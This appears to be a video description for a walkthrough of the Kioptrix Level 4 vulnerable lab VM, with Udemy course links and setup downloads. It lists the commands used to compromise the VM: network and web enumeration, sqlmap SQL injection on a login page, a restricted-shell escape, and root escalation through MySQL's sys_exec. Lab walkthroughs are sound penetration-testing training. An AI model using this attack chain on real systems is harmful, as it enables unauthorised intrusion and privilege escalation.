Please check out my Udemy courses! Coupon code applied to the following links....
https://www.udemy.com/hands-on-penetr...
https://www.udemy.com/hands-on-penetr...
https://www.udemy.com/kali-linux-web-...
https://www.udemy.com/kali-linux-hand...
https://www.udemy.com/network-securit...
https://www.udemy.com/snort-intrusion...
Description:
This video contains a walkthrough of Kioptrix Level 1.3 / #4. Please be advised that there are spoilers, and it's highly recommended that you attempt to enumerate and compromise this VM on your own prior to watching this video. To follow along with this lab, you'll need VMware, Kali Linux, and the Kioptrix 4 VM.
Commands:
netdiscover -i eth0
nmap -p1-65535 -sV -sS -T4 -A (KIOPTRIX IP)
enum4linux -a (KIOPTRIX IP) | grep -v -F 'unknown'
smbclient -L (KIOPTRIX IP)
dirb http://(KIOPTRIX IP)
nikto -host http://(KIOPTRIX IP)
sqlmap -u "http://(KIOPTRIX IP)/checklogin.php" --data="myusername=john&mypassword=&Submit=Login"
ssh john@(KIOPTRIX IP)
echo os.system('/bin/bash')
id
whoami
cat /var/www/checklogin.php
ls -la /usr/lib/lib_mysqludf_sys.so
mysql -h localhost -u root -p
select sys_exec('usermod -a -G admin john');
sudo su
The following are links to acquire the aforementioned resources:
Download VMware:
https://my.vmware.com/en/web/vmware/f...
Download Kioptrix level 4:
https://www.vulnhub.com/entry/kioptri...
Install Kioptrix from .vmdk file:
https://kb.vmware.com/selfservice/mic...
Download Kali Linux:
https://www.kali.org/downloads/